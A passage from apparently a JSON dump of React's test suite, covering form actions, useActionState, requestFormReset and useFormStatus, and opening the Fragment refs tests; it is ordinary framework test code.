pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() =>\n      root.render(\n        <ErrorBoundary>\n          <App />\n        </ErrorBoundary>,\n      ),\n    );\n    assertLog(['A']);\n\n    await act(() => startTransition(() => action('Oops!')));\n    assertLog(['Start action: Oops!', 'Pending A']);\n\n    // Queue up another action after the one will error.\n    await act(() => startTransition(() => action('Should never run')));\n    assertLog([]);\n\n    // The first dispatch will update the pending state.\n    await act(() => resolveText('Oops!'));\n    assertLog(['Caught an error: Oops!', 'Caught an error: Oops!']);\n    expect(container.textContent).toBe('Caught an error: Oops!');\n\n    // Attempt to dispatch another action. This should not run either.\n    await act(() =>\n      startTransition(() => action('This also should never run')),\n    );\n    assertLog([]);\n    expect(container.textContent).toBe('Caught an error: Oops!');\n  });\n\n  it('useActionState works in StrictMode', async () => {\n    let actionCounter = 0;\n    async function action(state, type) {\n      actionCounter++;\n\n      Scheduler.log(`Async action started [${actionCounter}]`);\n      await getText(`Wait [${actionCounter}]`);\n\n      switch (type) {\n        case 'increment':\n          return state + 1;\n        case 'decrement':\n          return state - 1;\n        default:\n          return state;\n      }\n    }\n\n    let dispatch;\n    function App() {\n      const [state, _dispatch, isPending] = useActionState(action, 0);\n      dispatch = _dispatch;\n      const pending = isPending ? 'Pending ' : '';\n      return <Text text={pending + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() =>\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      ),\n    );\n    assertLog(['0']);\n    expect(container.textContent).toBe('0');\n\n    await act(() => startTransition(() => dispatch('increment')));\n    assertLog(['Async action started [1]', 'Pending 0']);\n    expect(container.textContent).toBe('Pending 0');\n\n    await act(() => resolveText('Wait [1]'));\n    assertLog(['1']);\n    expect(container.textContent).toBe('1');\n  });\n\n  it('useActionState does not wrap action in a transition unless dispatch is in a transition', async () => {\n    let dispatch;\n    function App() {\n      const [state, _dispatch] = useActionState(() => {\n        return state + 1;\n      }, 0);\n      dispatch = _dispatch;\n      return <AsyncText text={'Count: ' + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() =>\n      root.render(\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <App />\n        </Suspense>,\n      ),\n    );\n    assertLog([\n      'Suspend! [Count: 0]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Count: 0]',\n    ]);\n    await act(() => resolveText('Count: 0'));\n    assertLog(['Count: 0']);\n\n    // Dispatch outside of a transition. This will trigger a loading state.\n    await act(() => dispatch());\n    assertLog([\n      'Suspend! [Count: 1]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Count: 1]',\n    ]);\n    expect(container.textContent).toBe('Loading...');\n\n    await act(() => resolveText('Count: 1'));\n    assertLog(['Count: 1']);\n    expect(container.textContent).toBe('Count: 1');\n\n    // Now dispatch inside of a transition. This one does not trigger a\n    // loading state.\n    await act(() => startTransition(() => dispatch()));\n    assertLog(['Count: 1', 'Suspend! [Count: 2]', 'Loading...']);\n    expect(container.textContent).toBe('Count: 1');\n\n    await act(() => resolveText('Count: 2'));\n    assertLog(['Count: 2']);\n    expect(container.textContent).toBe('Count: 2');\n  });\n\n  it('useActionState warns if async action is dispatched outside of a transition', async () => {\n    let dispatch;\n    function App() {\n      const [state, _dispatch] = useActionState(async () => {\n        return state + 1;\n      }, 0);\n      dispatch = _dispatch;\n      return <AsyncText text={'Count: ' + state} />;\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n    assertLog([\n      'Suspend! [Count: 0]',\n      // pre-warming\n      'Suspend! [Count: 0]',\n    ]);\n    await act(() => resolveText('Count: 0'));\n    assertLog(['Count: 0']);\n\n    // Dispatch outside of a transition.\n    await act(() => dispatch());\n    assertConsoleErrorDev([\n      'An async function with useActionState was called outside of a transition. ' +\n        'This is likely not what you intended (for example, isPending will not update ' +\n        'correctly). Either call the returned function inside startTransition, or pass it ' +\n        'to an `action` or `formAction` prop.',\n    ]);\n    assertLog([\n      'Suspend! [Count: 1]',\n      // pre-warming\n      'Suspend! [Count: 1]',\n    ]);\n    expect(container.textContent).toBe('Count: 0');\n  });\n\n  it('uncontrolled form inputs are reset after the action completes', async () => {\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n    const divRef = React.createRef();\n\n    function App({promiseForUsername}) {\n      // Make this suspensey to simulate RSC streaming.\n      const username = use(promiseForUsername);\n\n      return (\n        <form\n          ref={formRef}\n          action={async formData => {\n            const rawUsername = formData.get('username');\n            const normalizedUsername = rawUsername.trim().toLowerCase();\n\n            Scheduler.log(`Async action started`);\n            await getText('Wait');\n\n            // Update the app with new data. This is analagous to re-rendering\n            // from the root with a new RSC payload.\n            startTransition(() => {\n              root.render(\n                <App promiseForUsername={getText(normalizedUsername)} />,\n              );\n            });\n          }}>\n          <input\n            ref={inputRef}\n            text=\"text\"\n            name=\"username\"\n            defaultValue={username}\n          />\n          <div ref={divRef}>\n            <Text text={'Current username: ' + username} />\n          </div>\n        </form>\n      );\n    }\n\n    // Initial render\n    const root = ReactDOMClient.createRoot(container);\n    const promiseForInitialUsername = getText('(empty)');\n    await resolveText('(empty)');\n    await act(() =>\n      root.render(<App promiseForUsername={promiseForInitialUsername} />),\n    );\n    assertLog(['Current username: (empty)']);\n    expect(divRef.current.textContent).toEqual('Current username: (empty)');\n\n    // Dirty the uncontrolled input\n    inputRef.current.value = '  AcdLite  ';\n\n    // Submit the form. This will trigger an async action.\n    await submit(formRef.current);\n    assertLog(['Async action started']);\n    expect(inputRef.current.value).toBe('  AcdLite  ');\n\n    // Finish the async action. This will trigger a re-render from the root with\n    // new data from the \"server\", which suspends.\n    //\n    // The form should not reset yet because we need to update `defaultValue`\n    // first. So we wait for the render to complete.\n    await act(() => resolveText('Wait'));\n    assertLog([]);\n    // The DOM input is still dirty.\n    expect(inputRef.current.value).toBe('  AcdLite  ');\n    // The React tree is suspended.\n    expect(divRef.current.textContent).toEqual('Current username: (empty)');\n\n    // Unsuspend and finish rendering. Now the form should be reset.\n    await act(() => resolveText('acdlite'));\n    assertLog(['Current username: acdlite']);\n    // The form was reset to the new value from the server.\n    expect(inputRef.current.value).toBe('acdlite');\n    expect(divRef.current.textContent).toEqual('Current username: acdlite');\n  });\n\n  it('should fire onReset on automatic form reset', async () => {\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n\n    let setValue;\n    const defaultValue = 0;\n    function App({promiseForUsername}) {\n      const [value, _setValue] = useState(defaultValue);\n      setValue = _setValue;\n\n      return (\n        <form\n          ref={formRef}\n          action={async formData => {\n            Scheduler.log(`Async action started`);\n            await getText('Wait');\n          }}\n          onReset={() => {\n            setValue(defaultValue);\n          }}>\n          <input\n            ref={inputRef}\n            text=\"text\"\n            name=\"amount\"\n            value={value}\n            onChange={event => setValue(event.currentTarget.value)}\n          />\n        </form>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n\n    // Dirty the controlled input\n    await act(() => setValue('3'));\n    expect(inputRef.current.value).toEqual('3');\n\n    // Submit the form. This will trigger an async action.\n    await submit(formRef.current);\n    assertLog(['Async action started']);\n\n    // We haven't reset yet.\n    expect(inputRef.current.value).toEqual('3');\n\n    // Action completes. onReset has been fired and values reset manually.\n    await act(() => resolveText('Wait'));\n    assertLog([]);\n    expect(inputRef.current.value).toEqual('0');\n  });\n\n  it('requestFormReset schedules a form reset after transition completes', async () => {\n    // This is the same as the previous test, except the form is updated with\n    // a userspace action instead of a built-in form action.\n\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n    const divRef = React.createRef();\n\n    function App({promiseForUsername}) {\n      // Make this suspensey to simulate RSC streaming.\n      const username = use(promiseForUsername);\n\n      return (\n        <form ref={formRef}>\n          <input\n            ref={inputRef}\n            text=\"text\"\n            name=\"username\"\n            defaultValue={username}\n          />\n          <div ref={divRef}>\n            <Text text={'Current username: ' + username} />\n          </div>\n        </form>\n      );\n    }\n\n    // Initial render\n    const root = ReactDOMClient.createRoot(container);\n    const promiseForInitialUsername = getText('(empty)');\n    await resolveText('(empty)');\n    await act(() =>\n      root.render(<App promiseForUsername={promiseForInitialUsername} />),\n    );\n    assertLog(['Current username: (empty)']);\n    expect(divRef.current.textContent).toEqual('Current username: (empty)');\n\n    // Dirty the uncontrolled input\n    inputRef.current.value = '  AcdLite  ';\n\n    // This is a userspace action. It does not trigger a real form submission.\n    // The practical use case is implementing a custom action prop using\n    // onSubmit without losing the built-in form resetting behavior.\n    await act(() => {\n      startTransition(async () => {\n        const form = formRef.current;\n        const formData = new FormData(form);\n        requestFormReset(form);\n\n        const rawUsername = formData.get('username');\n        const normalizedUsername = rawUsername.trim().toLowerCase();\n\n        Scheduler.log(`Async action started`);\n        await getText('Wait');\n\n        // Update the app with new data. This is analagous to re-rendering\n        // from the root with a new RSC payload.\n        startTransition(() => {\n          root.render(<App promiseForUsername={getText(normalizedUsername)} />);\n        });\n      });\n    });\n    assertLog(['Async action started']);\n    expect(inputRef.current.value).toBe('  AcdLite  ');\n\n    // Finish the async action. This will trigger a re-render from the root with\n    // new data from the \"server\", which suspends.\n    //\n    // The form should not reset yet because we need to update `defaultValue`\n    // first. So we wait for the render to complete.\n    await act(() => resolveText('Wait'));\n    assertLog([]);\n    // The DOM input is still dirty.\n    expect(inputRef.current.value).toBe('  AcdLite  ');\n    // The React tree is suspended.\n    expect(divRef.current.textContent).toEqual('Current username: (empty)');\n\n    // Unsuspend and finish rendering. Now the form should be reset.\n    await act(() => resolveText('acdlite'));\n    assertLog(['Current username: acdlite']);\n    // The form was reset to the new value from the server.\n    expect(inputRef.current.value).toBe('acdlite');\n    expect(divRef.current.textContent).toEqual('Current username: acdlite');\n  });\n\n  it('parallel form submissions do not throw', async () => {\n    const formRef = React.createRef();\n    let resolve = null;\n    function App() {\n      async function submitForm() {\n        Scheduler.log('Action');\n        if (!resolve) {\n          await new Promise(res => {\n            resolve = res;\n          });\n        }\n      }\n      return <form ref={formRef} action={submitForm} />;\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n\n    // Start first form submission\n    await act(async () => {\n      formRef.current.requestSubmit();\n    });\n    assertLog(['Action']);\n\n    // Submit form again while first form action is still pending\n    await act(async () => {\n      formRef.current.requestSubmit();\n      resolve(); // Resolve the promise to allow the first form action to complete\n    });\n    assertLog(['Action']);\n  });\n\n  it(\n    'requestFormReset works with inputs that are not descendants ' +\n      'of the form element',\n    async () => {\n      // This is the same as the previous test, except the input is not a child\n      // of the form; it's linked with <input form=\"myform\" />\n\n      const formRef = React.createRef();\n      const inputRef = React.createRef();\n      const divRef = React.createRef();\n\n      function App({promiseForUsername}) {\n        // Make this suspensey to simulate RSC streaming.\n        const username = use(promiseForUsername);\n\n        return (\n          <>\n            <form id=\"myform\" ref={formRef} />\n            <input\n              form=\"myform\"\n              ref={inputRef}\n              text=\"text\"\n              name=\"username\"\n              defaultValue={username}\n            />\n            <div ref={divRef}>\n              <Text text={'Current username: ' + username} />\n            </div>\n          </>\n        );\n      }\n\n      // Initial render\n      const root = ReactDOMClient.createRoot(container);\n      const promiseForInitialUsername = getText('(empty)');\n      await resolveText('(empty)');\n      await act(() =>\n        root.render(<App promiseForUsername={promiseForInitialUsername} />),\n      );\n      assertLog(['Current username: (empty)']);\n      expect(divRef.current.textContent).toEqual('Current username: (empty)');\n\n      // Dirty the uncontrolled input\n      inputRef.current.value = '  AcdLite  ';\n\n      // This is a userspace action. It does not trigger a real form submission.\n      // The practical use case is implementing a custom action prop using\n      // onSubmit without losing the built-in form resetting behavior.\n      await act(() => {\n        startTransition(async () => {\n          const form = formRef.current;\n          const formData = new FormData(form);\n          requestFormReset(form);\n\n          const rawUsername = formData.get('username');\n          const normalizedUsername = rawUsername.trim().toLowerCase();\n\n          Scheduler.log(`Async action started`);\n          await getText('Wait');\n\n          // Update the app with new data. This is analagous to re-rendering\n          // from the root with a new RSC payload.\n          startTransition(() => {\n            root.render(\n              <App promiseForUsername={getText(normalizedUsername)} />,\n            );\n          });\n        });\n      });\n      assertLog(['Async action started']);\n      expect(inputRef.current.value).toBe('  AcdLite  ');\n\n      // Finish the async action. This will trigger a re-render from the root with\n      // new data from the \"server\", which suspends.\n      //\n      // The form should not reset yet because we need to update `defaultValue`\n      // first. So we wait for the render to complete.\n      await act(() => resolveText('Wait'));\n      assertLog([]);\n      // The DOM input is still dirty.\n      expect(inputRef.current.value).toBe('  AcdLite  ');\n      // The React tree is suspended.\n      expect(divRef.current.textContent).toEqual('Current username: (empty)');\n\n      // Unsuspend and finish rendering. Now the form should be reset.\n      await act(() => resolveText('acdlite'));\n      assertLog(['Current username: acdlite']);\n      // The form was reset to the new value from the server.\n      expect(inputRef.current.value).toBe('acdlite');\n      expect(divRef.current.textContent).toEqual('Current username: acdlite');\n    },\n  );\n\n  it('reset multiple forms in the same transition', async () => {\n    const formRefA = React.createRef();\n    const formRefB = React.createRef();\n\n    function App({promiseForA, promiseForB}) {\n      // Make these suspensey to simulate RSC streaming.\n      const a = use(promiseForA);\n      const b = use(promiseForB);\n      return (\n        <>\n          <form ref={formRefA}>\n            <input type=\"text\" name=\"inputName\" defaultValue={a} />\n          </form>\n          <form ref={formRefB}>\n            <input type=\"text\" name=\"inputName\" defaultValue={b} />\n          </form>\n        </>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    const initialPromiseForA = getText('A1');\n    const initialPromiseForB = getText('B1');\n    await resolveText('A1');\n    await resolveText('B1');\n    await act(() =>\n      root.render(\n        <App\n          promiseForA={initialPromiseForA}\n          promiseForB={initialPromiseForB}\n        />,\n      ),\n    );\n\n    // Dirty the uncontrolled inputs\n    formRefA.current.elements.inputName.value = '       A2       ';\n    formRefB.current.elements.inputName.value = '       B2       ';\n\n    // Trigger an async action that updates and reset both forms.\n    await act(() => {\n      startTransition(async () => {\n        const currentA = formRefA.current.elements.inputName.value;\n        const currentB = formRefB.current.elements.inputName.value;\n\n        requestFormReset(formRefA.current);\n        requestFormReset(formRefB.current);\n\n        Scheduler.log('Async action started');\n        await getText('Wait');\n\n        // Pretend the server did something with the data.\n        const normalizedA = currentA.trim();\n        const normalizedB = currentB.trim();\n\n        // Update the app with new data. This is analagous to re-rendering\n        // from the root with a new RSC payload.\n        startTransition(() => {\n          root.render(\n            <App\n              promiseForA={getText(normalizedA)}\n              promiseForB={getText(normalizedB)}\n            />,\n          );\n        });\n      });\n    });\n    assertLog(['Async action started']);\n\n    // Finish the async action. This will trigger a re-render from the root with\n    // new data from the \"server\", which suspends.\n    //\n    // The forms should not reset yet because we need to update `defaultValue`\n    // first. So we wait for the render to complete.\n    await act(() => resolveText('Wait'));\n\n    // The DOM inputs are still dirty.\n    expect(formRefA.current.elements.inputName.value).toBe('       A2       ');\n    expect(formRefB.current.elements.inputName.value).toBe('       B2       ');\n\n    // Unsuspend and finish rendering. Now the forms should be reset.\n    await act(() => {\n      resolveText('A2');\n      resolveText('B2');\n    });\n    // The forms were reset to the new value from the server.\n    expect(formRefA.current.elements.inputName.value).toBe('A2');\n    expect(formRefB.current.elements.inputName.value).toBe('B2');\n  });\n\n  it('requestFormReset throws if the form is not managed by React', async () => {\n    container.innerHTML = `\n      <form id=\"myform\">\n        <input id=\"input\" type=\"text\" name=\"greeting\" />\n      </form>\n    `;\n\n    const form = document.getElementById('myform');\n    const input = document.getElementById('input');\n\n    input.value = 'Hi!!!!!!!!!!!!!';\n\n    expect(() => requestFormReset(form)).toThrow('Invalid form element.');\n    // The form was not reset.\n    expect(input.value).toBe('Hi!!!!!!!!!!!!!');\n\n    // Just confirming a regular form reset works fine.\n    form.reset();\n    expect(input.value).toBe('');\n  });\n\n  it('requestFormReset throws on a non-form DOM element', async () => {\n    const root = ReactDOMClient.createRoot(container);\n    const ref = React.createRef();\n    await act(() => root.render(<div ref={ref}>Hi</div>));\n    const div = ref.current;\n    expect(div.textContent).toBe('Hi');\n\n    expect(() => requestFormReset(div)).toThrow('Invalid form element.');\n  });\n\n  it('warns if requestFormReset is called outside of a transition', async () => {\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n\n    function App() {\n      return (\n        <form ref={formRef}>\n          <input ref={inputRef} type=\"text\" defaultValue=\"Initial\" />\n        </form>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n\n    // Dirty the uncontrolled input\n    inputRef.current.value = '  Updated  ';\n\n    // Trigger an async action that updates and reset both forms.\n    await act(() => {\n      startTransition(async () => {\n        Scheduler.log('Action started');\n        await getText('Wait 1');\n        Scheduler.log('Request form reset');\n\n        // This happens after an `await`, and is not wrapped in startTransition,\n        // so it will be scheduled synchronously instead of with the transition.\n        // This is almost certainly a mistake, so we log a warning in dev.\n        requestFormReset(formRef.current);\n\n        await getText('Wait 2');\n        Scheduler.log('Action finished');\n      });\n    });\n    assertLog(['Action started']);\n    expect(inputRef.current.value).toBe('  Updated  ');\n\n    // This triggers a synchronous requestFormReset, and a warning\n    await act(() => resolveText('Wait 1'));\n    assertConsoleErrorDev([\n      'requestFormReset was called outside a transition or action. ' +\n        'To fix, move to an action, or wrap with startTransition.',\n    ]);\n    assertLog(['Request form reset']);\n\n    // The form was reset even though the action didn't finish.\n    expect(inputRef.current.value).toBe('Initial');\n  });\n\n  it(\"regression: submitter's formAction prop is coerced correctly before checking if it exists\", async () => {\n    function App({submitterAction}) {\n      return (\n        <form action={() => Scheduler.log('Form action')}>\n          <button ref={buttonRef} type=\"submit\" formAction={submitterAction} />\n        </form>\n      );\n    }\n\n    const buttonRef = React.createRef();\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() =>\n      root.render(\n        <App submitterAction={() => Scheduler.log('Button action')} />,\n      ),\n    );\n    await submit(buttonRef.current);\n    assertLog(['Button action']);\n\n    // When there's no button action, the form action should fire\n    await act(() => root.render(<App submitterAction={null} />));\n    await submit(buttonRef.current);\n    assertLog(['Form action']);\n\n    // Symbols are coerced to null, so this should fire the form action\n    await act(() => root.render(<App submitterAction={Symbol()} />));\n    assertConsoleErrorDev([\n      'Invalid value for prop `formAction` on <button> tag. ' +\n        'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n        'For details, see https://react.dev/link/attribute-behavior \\n' +\n        '    in button (at **)\\n' +\n        '    in App (at **)',\n    ]);\n    await submit(buttonRef.current);\n    assertLog(['Form action']);\n\n    // Booleans are coerced to null, so this should fire the form action\n    await act(() => root.render(<App submitterAction={true} />));\n    await submit(buttonRef.current);\n    assertLog(['Form action']);\n\n    // A string on the submitter should prevent the form action from firing\n    // and trigger the native behavior\n    await act(() => root.render(<App submitterAction=\"https://react.dev/\" />));\n    await expect(submit(buttonRef.current)).rejects.toThrow(\n      'Navigate to: https://react.dev/',\n    );\n  });\n\n  it(\n    'useFormStatus is activated if startTransition is called ' +\n      'inside preventDefault-ed submit event',\n    async () => {\n      function Output({value}) {\n        const {pending} = useFormStatus();\n        return <Text text={pending ? `${value} (pending...)` : value} />;\n      }\n\n      function App({value}) {\n        const [, startFormTransition] = useTransition();\n\n        function onSubmit(event) {\n          event.preventDefault();\n          startFormTransition(async () => {\n            const updatedValue = event.target.elements.search.value;\n            Scheduler.log('Action started');\n            await getText('Wait');\n            Scheduler.log('Action finished');\n            startTransition(() => root.render(<App value={updatedValue} />));\n          });\n        }\n        return (\n          <form ref={formRef} onSubmit={onSubmit}>\n            <input\n              ref={inputRef}\n              type=\"text\"\n              name=\"search\"\n              defaultValue={value}\n            />\n            <div ref={outputRef}>\n              <Output value={value} />\n            </div>\n          </form>\n        );\n      }\n\n      const formRef = React.createRef();\n      const inputRef = React.createRef();\n      const outputRef = React.createRef();\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => root.render(<App value=\"Initial\" />));\n      assertLog(['Initial']);\n\n      // Update the input to something different\n      inputRef.current.value = 'Updated';\n\n      // Submit the form.\n      await submit(formRef.current);\n      // The form switches into a pending state.\n      assertLog(['Action started', 'Initial (pending...)']);\n      expect(outputRef.current.textContent).toBe('Initial (pending...)');\n\n      // While the submission is still pending, update the input again so we\n      // can check whether the form is reset after the action finishes.\n      inputRef.current.value = 'Updated again after submission';\n\n      // Resolve the async action\n      await act(() => resolveText('Wait'));\n      assertLog(['Action finished', 'Updated']);\n      expect(outputRef.current.textContent).toBe('Updated');\n\n      // Confirm that the form was not automatically reset (should call\n      // requestFormReset(formRef.current) to opt into this behavior)\n      expect(inputRef.current.value).toBe('Updated again after submission');\n    },\n  );\n\n  it('useFormStatus is not activated if startTransition is not called', async () => {\n    function Output({value}) {\n      const {pending} = useFormStatus();\n\n      return (\n        <Text\n          text={\n            pending\n              ? 'Should be unreachable! This test should never activate the pending state.'\n              : value\n          }\n        />\n      );\n    }\n\n    function App({value}) {\n      async function onSubmit(event) {\n        event.preventDefault();\n        const updatedValue = event.target.elements.search.value;\n        Scheduler.log('Async event handler started');\n        await getText('Wait');\n        Scheduler.log('Async event handler finished');\n        startTransition(() => root.render(<App value={updatedValue} />));\n      }\n      return (\n        <form ref={formRef} onSubmit={onSubmit}>\n          <input\n            ref={inputRef}\n            type=\"text\"\n            name=\"search\"\n            defaultValue={value}\n          />\n          <div ref={outputRef}>\n            <Output value={value} />\n          </div>\n        </form>\n      );\n    }\n\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n    const outputRef = React.createRef();\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App value=\"Initial\" />));\n    assertLog(['Initial']);\n\n    // Update the input to something different\n    inputRef.current.value = 'Updated';\n\n    // Submit the form.\n    await submit(formRef.current);\n    // Unlike the previous test, which uses startTransition to manually dispatch\n    // an action, this test uses a regular event handler, so useFormStatus is\n    // not activated.\n    assertLog(['Async event handler started']);\n    expect(outputRef.current.textContent).toBe('Initial');\n\n    // While the submission is still pending, update the input again so we\n    // can check whether the form is reset after the action finishes.\n    inputRef.current.value = 'Updated again after submission';\n\n    // Resolve the async action\n    await act(() => resolveText('Wait'));\n    assertLog(['Async event handler finished', 'Updated']);\n    expect(outputRef.current.textContent).toBe('Updated');\n\n    // Confirm that the form was not automatically reset (should call\n    // requestFormReset(formRef.current) to opt into this behavior)\n    expect(inputRef.current.value).toBe('Updated again after submission');\n  });\n\n  it('useFormStatus is not activated if event is not preventDefault-ed', async () => {\n    function Output({value}) {\n      const {pending} = useFormStatus();\n      return <Text text={pending ? `${value} (pending...)` : value} />;\n    }\n\n    function App({value}) {\n      const [, startFormTransition] = useTransition();\n\n      function onSubmit(event) {\n        // This event is not preventDefault-ed, so the default form submission\n        // happens, and useFormStatus is not activated.\n        startFormTransition(async () => {\n          const updatedValue = event.target.elements.search.value;\n          Scheduler.log('Action started');\n          await getText('Wait');\n          Scheduler.log('Action finished');\n          startTransition(() => root.render(<App value={updatedValue} />));\n        });\n      }\n      return (\n        <form ref={formRef} onSubmit={onSubmit}>\n          <input\n            ref={inputRef}\n            type=\"text\"\n            name=\"search\"\n            defaultValue={value}\n          />\n          <div ref={outputRef}>\n            <Output value={value} />\n          </div>\n        </form>\n      );\n    }\n\n    const formRef = React.createRef();\n    const inputRef = React.createRef();\n    const outputRef = React.createRef();\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App value=\"Initial\" />));\n    assertLog(['Initial']);\n\n    // Update the input to something different\n    inputRef.current.value = 'Updated';\n\n    // Submitting the form should trigger the default navigation behavior\n    await expect(submit(formRef.current)).rejects.toThrow(\n      'Navigate to: http://localhost/',\n    );\n\n    // The useFormStatus hook was not activated\n    assertLog(['Action started', 'Initial']);\n    expect(outputRef.current.textContent).toBe('Initial');\n  });\n\n  it('useFormStatus coerces the value of the \"action\" prop', async () => {\n    function Status() {\n      const {pending, action} = useFormStatus();\n\n      if (pending) {\n        Scheduler.log(action);\n        return 'Pending';\n      } else {\n        return 'Not pending';\n      }\n    }\n\n    function Form({action}) {\n      const [, startFormTransition] = useTransition();\n\n      function onSubmit(event) {\n        event.preventDefault();\n        // Schedule an empty action for no other purpose than to trigger the\n        // pending state.\n        startFormTransition(async () => {});\n      }\n      return (\n        <form ref={formRef} action={action} onSubmit={onSubmit}>\n          <Status />\n        </form>\n      );\n    }\n\n    const formRef = React.createRef();\n    const root = ReactDOMClient.createRoot(container);\n\n    // Symbols are coerced to null\n    await act(() => root.render(<Form action={Symbol()} />));\n    assertConsoleErrorDev([\n      'Invalid value for prop `action` on <form> tag. ' +\n        'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n        'For details, see https://react.dev/link/attribute-behavior \\n' +\n        '    in form (at **)\\n' +\n        '    in Form (at **)',\n    ]);\n    await submit(formRef.current);\n    assertLog([null]);\n\n    // Booleans are coerced to null\n    await act(() => root.render(<Form action={true} />));\n    await submit(formRef.current);\n    assertLog([null]);\n\n    // Strings are passed through\n    await act(() => root.render(<Form action=\"https://react.dev\" />));\n    await submit(formRef.current);\n    assertLog(['https://react.dev']);\n\n    // Functions are passed through\n    const actionFn = () => {};\n    await act(() => root.render(<Form action={actionFn} />));\n    await submit(formRef.current);\n    assertLog([actionFn]);\n\n    // Everything else is toString-ed, unless trusted types are enabled.\n    class MyAction {\n      toString() {\n        return 'stringified action';\n      }\n    }\n    const instance = new MyAction();\n\n    await act(() => root.render(<Form action={instance} />));\n    await submit(formRef.current);\n    assertLog(\n      gate('enableTrustedTypesIntegration')\n        ? [instance]\n        : ['stringified action'],\n    );\n  });\n\n  it('form actions should retain status when nested state changes', async () => {\n    const formRef = React.createRef();\n\n    let rerenderUnrelatedStatus;\n    function UnrelatedStatus() {\n      const {pending} = useFormStatus();\n      const [counter, setCounter] = useState(0);\n      rerenderUnrelatedStatus = () => setCounter(n => n + 1);\n      Scheduler.log(`[unrelated form] pending: ${pending}, state: ${counter}`);\n    }\n\n    let rerenderTargetStatus;\n    function TargetStatus() {\n      const {pending} = useFormStatus();\n      const [counter, setCounter] = useState(0);\n      Scheduler.log(`[target form] pending: ${pending}, state: ${counter}`);\n      rerenderTargetStatus = () => setCounter(n => n + 1);\n    }\n\n    function App() {\n      async function action() {\n        return new Promise(resolve => {\n          // never resolves\n        });\n      }\n\n      return (\n        <>\n          <form action={action} ref={formRef}>\n            <input type=\"submit\" />\n            <TargetStatus />\n          </form>\n          <form>\n            <UnrelatedStatus />\n          </form>\n        </>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<App />));\n\n    assertLog([\n      '[target form] pending: false, state: 0',\n      '[unrelated form] pending: false, state: 0',\n    ]);\n\n    await submit(formRef.current);\n\n    assertLog(['[target form] pending: true, state: 0']);\n\n    await act(() => rerenderTargetStatus());\n\n    assertLog(['[target form] pending: true, state: 1']);\n\n    await act(() => rerenderUnrelatedStatus());\n\n    assertLog(['[unrelated form] pending: false, state: 1']);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMFragmentRefs-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails reactcore\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOM;\nlet createPortal;\nlet act;\nlet container;\nlet Fragment;\nlet Activity;\nlet mockIntersectionObserver;\nlet simulateIntersection;\nlet setClientRects;\nlet mockRangeClientRects;\nlet assertConsoleErrorDev;\n\nfunction Wrapper({children}) {\n  return children;\n}\n\ndescribe('FragmentRefs', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    Fragment = React.Fragment;\n    Activity = React.Activity;\n    ReactDOMClient = require('react-dom/client');\n    ReactDOM = require('react-dom');\n    createPortal = ReactDOM.createPortal;\n    act = require('internal-test-utils').act;\n    const IntersectionMocks = require('./utils/IntersectionMocks');\n    mockIntersectionObserver = IntersectionMocks.mockIntersectionObserver;\n    simulateIntersection = IntersectionMocks.simulateIntersection;\n    setClientRects = IntersectionMocks.setClientRects;\n    mockRangeClientRects = IntersectionMocks.mockRangeClientRects;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n\n    container = document.createElement('div');\n    document.body.innerHTML = '';\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  // @gate enableFragmentRefs\n  it('attaches a ref to Fragment', async () => {\n    const fragmentRef = React.createRef();\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() =>\n      root.render(\n        <div id=\"parent\">\n          <Fragment ref={fragmentRef}>\n            <div id=\"child\">Hi</div>\n          </Fragment>\n        </div>,\n      ),\n    );\n    expect(container.innerHTML).toEqual(\n      '<div id=\"parent\"><div id=\"child\">Hi</div></div>',\n    );\n\n    expect(fragmentRef.current).not.toBe(null);\n  });\n\n  // @gate enableFragmentRefs\n  it('accepts a ref callback', async () => {\n    let fragmentRef;\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <Fragment ref={ref => (fragmentRef = ref)}>\n          <div id=\"child\">Hi</div>\n        </Fragment>,\n      );\n    });\n\n    expect(fragmentRef._fragmentFiber).toBeTruthy();\n  });\n\n  // @gate enableFragmentRefs\n  it('is available in effects', async () => {\n    function Test() {\n      const fragmentRef = React.useRef(null);\n      React.useLayoutEffect(() => {\n        expect(fragmentRef.current).not.toBe(null);\n      });\n      React.useEffect(() => {\n        expect(fragmentRef.current).not.toBe(null);\n      });\n      return (\n        <Fragment ref={fragmentRef}>\n          <div />\n        </Fragment>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<Test />));\n  });\n\n  // @gate enableFragmentRefs && 